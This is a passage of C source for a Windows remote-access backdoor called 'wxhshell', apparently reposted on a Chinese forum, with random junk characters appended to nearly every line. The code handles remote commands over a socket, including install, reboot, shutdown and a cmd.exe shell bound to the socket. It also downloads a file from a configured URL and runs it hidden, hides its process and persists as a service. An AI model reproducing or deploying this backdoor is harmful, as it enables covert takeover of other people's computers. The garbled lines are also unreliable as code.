    break; W>u$x=<T  
  } fzjtaH?  
  // 安装 8feLhWg'P  
  case 'i': { @[ '?AsO  
    if(Install()) (gutDUO;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d8^S~7  
    else d&DQ8Gm ^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p<RIvSqM  
    break; j  W -K  
    } wFL7JwK:G  
  // 卸载 c#fSt}J>C  
  case 'r': { ( d8rfet  
    if(Uninstall()) ,YrPwdaTB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Dx)P[Ur  
    else X&%;(`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OK:YnSk"  
    break; 6s:  
    } [5P1 pkZ  
  // 显示 wxhshell 所在路径 55Ye7P-d  
  case 'p': { .`h:1FP 8  
    char svExeFile[MAX_PATH]; qD}O_<_1ym  
    strcpy(svExeFile,"\n\r"); xHn "D@  
      strcat(svExeFile,ExeFile); jXyK[q&O&  
        send(wsh,svExeFile,strlen(svExeFile),0); 2&<&q J  
    break; d]^\qeG^p  
    } 4+N9Ylh  
  // 重启 B,{Q[  
  case 'b': { ~H626vT37  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v *@R U  
    if(Boot(REBOOT)) };~I#X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3TT?GgQ  
    else { 9 E  
    closesocket(wsh); u< 5{H='6  
    ExitThread(0); ztaSIMZ  
    } Q~)A fa{  
    break; %T~LK=m  
    } IU rGJ#}O  
  // 关机 5S%#3YHY2  
  case 'd': { ju/#V}N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b5UIX Kim  
    if(Boot(SHUTDOWN)) 5G WC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {9h`h08?z  
    else { vb]H $@0  
    closesocket(wsh); |\h<!xR  
    ExitThread(0); TZE;$:1vx>  
    } WeS$$:ro  
    break; 'X1/tB8*  
    } *>7Zc  
  // 获取shell GuRJ  
  case 's': { '<hg c  
    CmdShell(wsh); ne'Y{n(8%  
    closesocket(wsh); T|h'"3'  
    ExitThread(0); XbW 1`PH  
    break; .^!uazPE0  
  } -ob1_0  
  // 退出  u~j&g  
  case 'x': { ,gn**E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ey) 8q.5  
    CloseIt(wsh); :3By7BZgj  
    break; PQ4)kVT  
    } #s|/5[i  
  // 离开 #TG.weTC  
  case 'q': { 0D^c4[Y'l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G297)MFF  
    closesocket(wsh); E'F87P^>  
    WSACleanup(); {{e+t8J??  
    exit(1); oD7^9=#  
    break; U:O&FE  
        } ]MV=@T^8#  
  } iig@$ i#  
  } '645Fr[lg  
@hIHvLpRB  
  // 提示信息 mpDQhD[n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Uk= L?t  
} g ,""j`  
  } C!S( !Z,  
CC{{@  
  return; {x/)S*:Z  
} aj@<4A=;  
!6DH6<HC  
// shell模块句柄 ,L9ioYbp  
int CmdShell(SOCKET sock) R{SN.%{;  
{ (eF "[,z  
STARTUPINFO si; lc\f6J>HT  
ZeroMemory(&si,sizeof(si)); szU_,.\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !d3:`l<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -4nSiI  
PROCESS_INFORMATION ProcessInfo; dI$M9;  
char cmdline[]="cmd"; KeE)9e   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q[.HoqWK  
  return 0; =@0/.oSD  
} .3< sv  
Pvu*Y0_p  
// 自身启动模式 2vx1M6a)L  
int StartFromService(void) $ jgEB+  
{ I\:(`)"r  
typedef struct qQx5n  
{ =6LF_=}  
  DWORD ExitStatus; f%5 s8)  
  DWORD PebBaseAddress; x#,nR]C  
  DWORD AffinityMask; !_#2$J*s^D  
  DWORD BasePriority; M|uWSG  
  ULONG UniqueProcessId; ;ZowC#j  
  ULONG InheritedFromUniqueProcessId; v\b@;H`  
}   PROCESS_BASIC_INFORMATION; i2(lqhaP  
mnS F=l;;  
PROCNTQSIP NtQueryInformationProcess; ;Vh5nO  
{|ChwM\x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a.!|A(zw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RYem(%jq  
'SE?IE{  
  HANDLE             hProcess; 47 *,  
  PROCESS_BASIC_INFORMATION pbi; ~k[q:$T  
L>Soj|WUy(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); STY\c5  
  if(NULL == hInst ) return 0; ?wQaM3 |^:  
^t#W?rxp&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !<I3^q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VwxLElV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `oUuAL  
:Mq-4U.e  
  if (!NtQueryInformationProcess) return 0; 8O0E;6b  
.S =^)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zOzobd   
  if(!hProcess) return 0; us TPr  
HHU0Nku@ho  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &m J +#vT  
KaGG4?=V  
  CloseHandle(hProcess); qS{E+)P  
6I`Lszs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Gcz@z1a=n  
if(hProcess==NULL) return 0; C/L+gU&  
.uGvmD <;x  
HMODULE hMod; N akSIGm  
char procName[255]; q" aUA_}\  
unsigned long cbNeeded; H6I]GcZ$  
~gA p`Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oPPxja g\  
<5wk~|@t  
  CloseHandle(hProcess); =A< Fcl\Rz  
9;*-y$@  
if(strstr(procName,"services")) return 1; // 以服务启动 VkChRzhC  
FhkS"y  
  return 0; // 注册表启动 sWc_,[b  
} [hl8LP+~  
wQV[ZfU^h  
// 主模块 wmQT$`$b  
int StartWxhshell(LPSTR lpCmdLine) Xi~%,~  
{ Z+G.v=2q<  
  SOCKET wsl; f,_EPh>  
BOOL val=TRUE; l9"T"9C{  
  int port=0; 3r]:k) J  
  struct sockaddr_in door; g* & |Eq/  
`f~\d.*U  
  if(wscfg.ws_autoins) Install(); 9h$08l  
[_pw|BGp  
port=atoi(lpCmdLine); Wu!s  
j~Cch%%G  
if(port<=0) port=wscfg.ws_port; wcI? .  
i 6@c@n  
  WSADATA data; qP}187Q1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8 o SNnT  
1K`7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #S*`7MvM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^-&BGQM  
  door.sin_family = AF_INET; knsTy0]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /#C}1emK  
  door.sin_port = htons(port); LW$(;-rY  
PqJB&:ZV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \[57Dmo  
closesocket(wsl); mz'r<v2Tc  
return 1; 7l~d_<h  
} \pVmSac,  
 KDX1_r=Y  
  if(listen(wsl,2) == INVALID_SOCKET) { m/T3Um  
closesocket(wsl); 5>e#SW  
return 1; oieJ7\h]m  
} pmIOV~K  
  Wxhshell(wsl); Us.")GiHE  
  WSACleanup(); O_kBAC-|R(  
]"2;x  
return 0; UCz\SZ{za  
1[g -f ,  
} nsM=n}$5x  
YXi'^GU@  
// 以NT服务方式启动 $Sx(vq6(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !'jZ !NFO  
{ 6VsgZ"Il  
DWORD   status = 0; %lbDcEsf9  
  DWORD   specificError = 0xfffffff; :"~SKJm  
hp$/O4fD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $\w<.)"#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0'3f^Ajf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5p}ri,Y<  
  serviceStatus.dwWin32ExitCode     = 0; +}.~"  
  serviceStatus.dwServiceSpecificExitCode = 0; NR6wNz&81  
  serviceStatus.dwCheckPoint       = 0; j v4O  
  serviceStatus.dwWaitHint       = 0; S <RbC  
2YbI."ob  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5Qh$>R4!"  
  if (hServiceStatusHandle==0) return; A5\00O~  
l+vD`aJ3  
status = GetLastError(); %tvP\(]h  
  if (status!=NO_ERROR) <l.l6okp  
{ "PD^]m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6/5Xy69:h  
    serviceStatus.dwCheckPoint       = 0; cs]h+yE  
    serviceStatus.dwWaitHint       = 0; lA/.4"nN  
    serviceStatus.dwWin32ExitCode     = status; u^4$<fd  
    serviceStatus.dwServiceSpecificExitCode = specificError; Xt .ca,`U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \x7^ly$_  
    return; p=jpk@RX  
  } 28! ke  
[pRRBMho  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m}$7d5  
  serviceStatus.dwCheckPoint       = 0; KL<,avC/  
  serviceStatus.dwWaitHint       = 0; {M^BY,%*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F%tV^$%  
} +L,V_z  
gJZH??b  
// 处理NT服务事件,比如:启动、停止 x##0s5Qn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MtD0e@  
{ Vm*E^ v  
switch(fdwControl) ,6 IKkyD  
{ Tfz _h~D  
case SERVICE_CONTROL_STOP: L+X:M/)  
  serviceStatus.dwWin32ExitCode = 0; `6:B0-r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jAcrXB*  
  serviceStatus.dwCheckPoint   = 0; fjd)/Gg  
  serviceStatus.dwWaitHint     = 0; =o5|W'>`  
  { fpa ~~E-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PWBcK_4i%  
  } ,x=S)t  
  return; ~Jh1$O,9o  
case SERVICE_CONTROL_PAUSE: |kGQ~:k+P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,(A $WT@e  
  break; % aqP{mOO  
case SERVICE_CONTROL_CONTINUE: B2,c_[UZ.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6Vj=SYK  
  break; bP Q=88*  
case SERVICE_CONTROL_INTERROGATE: M5kw3Jy5  
  break; agkGUK/  
}; i*((@:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }n( ?|  
} }0Ie Kpu5  
f#kT?!sP  
// 标准应用程序主函数 4Ql9VM%y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Am!OLGG4  
{ "WzKJwFr  
!pZ<{|cH  
// 获取操作系统版本 PbnAY{J  
OsIsNt=GetOsVer(); RcC5_@W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T I|h  
Ae[fW97  
  // 从命令行安装 =NmW}x|n  
  if(strpbrk(lpCmdLine,"iI")) Install(); }P'c8$  
?C`r3  
  // 下载执行文件 . 1+I8qj  
if(wscfg.ws_downexe) { 8'"=y}]H~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6f:uAFwG  
  WinExec(wscfg.ws_filenam,SW_HIDE); P1R5}i  
} DNr*|A2<  
wF9L<<&B  
if(!OsIsNt) { $^_6,uBM[  
// 如果时win9x,隐藏进程并且设置为注册表启动 M1icj~Jr  
HideProc(); jV[;e15+  
StartWxhshell(lpCmdLine); !QpOrg  
} 4f&"1:  
else & 'CUc/,  
  if(StartFromService()) J&iSS9c  
  // 以服务方式启动 }K5okxio  
  StartServiceCtrlDispatcher(DispatchTable); la}cGZ; p.  
else TlowEh8r  
  // 普通方式启动 ^ L]e]<h(  
  StartWxhshell(lpCmdLine); &f}w&k2yj  
Bf.iRh0Q5  
return 0; ez5J+  
}
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只看该作者 1 发表于: 2006-10-10
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